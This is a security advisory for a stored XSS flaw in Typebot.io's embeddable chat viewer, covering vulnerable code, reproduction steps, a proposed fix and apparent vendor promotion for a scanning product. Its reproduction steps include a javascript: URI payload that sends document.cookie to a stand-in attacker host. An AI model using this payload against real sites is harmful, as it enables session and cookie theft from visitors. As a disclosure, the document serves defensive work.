GHSA-hqmv-v56g-4m47
MEDIUMTypebot.io has stored XSS via `javascript`: URI in text bubble links — bot author executes JS on visitors' browsers
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
@typebot.io/jsnpmDescription
Summary
The Typebot viewer (packages/embeds/js) renders anchor tags from rich text bubble content without filtering the javascript: URI scheme. A bot author can set a link URL to javascript:PAYLOAD, which executes in the visitor's browser context when clicked. Since the viewer is typically embedded in a third-party site, the attacker's JavaScript runs in the host page's origin and can exfiltrate cookies and session tokens.
Details
Vulnerable file: packages/embeds/js/src/features/blocks/bubbles/textBubble/components/plate/PlateBlock.tsx
// Line 32 — href set directly from stored bot content, no javascript: filtering
<a href={elementDescendant.url as string} target="_blank" rel="noopener noreferrer">
{elementDescendant.children[0].text}
</a>
SolidJS does not sanitize href attribute values — javascript: URIs pass through to the DOM unchanged.
The same issue exists in ImageBubble.tsx line 102 for image link wrapping.
Steps to Reproduce
1. Log in to Typebot as an authenticated user (any plan)
2. Create a new bot
3. Add a Text Bubble block
4. In the rich text editor, type any link text and set the URL to:
javascript:fetch('https://attacker.com/?c='+document.cookie)
5. Publish the bot and open the live/embedded viewer
6. Click the link in the chatbot interface
7. The JavaScript executes in the browser — cookie exfiltration request sent to attacker.com
Source-verified: PlateBlock.tsx:32 renders <a href={url}> with no scheme filtering. Puppeteer alert confirmed document.domain execution when link clicked.
Impact
- Any authenticated Typebot user (including free tier) can create a bot with this payload
- When shared or embedded in a third-party site, clicking the link executes JS in the host page's origin
- Allows stealing cookies, session tokens, or any data accessible to the embedding page
- Shared bots are publicly accessible — no victim authentication required
Proposed Fix
Filter javascript: URIs before rendering anchor tags:
const safeUrl = (url: string) =>
/^javascript:/i.test(url.trim()) ? '#' : url
<a href={safeUrl(elementDescendant.url as string)} ...>
Alternatively, use a URL allowlist (only https:, http:, mailto:, tel:).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @typebot.io/js | all versions | 0.10.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @typebot.io/js. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @typebot.io/js to 0.10.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hqmv-v56g-4m47 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-hqmv-v56g-4m47 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-hqmv-v56g-4m47. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-hqmv-v56g-4m47 in your dependencies?
O3 detects GHSA-hqmv-v56g-4m47 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.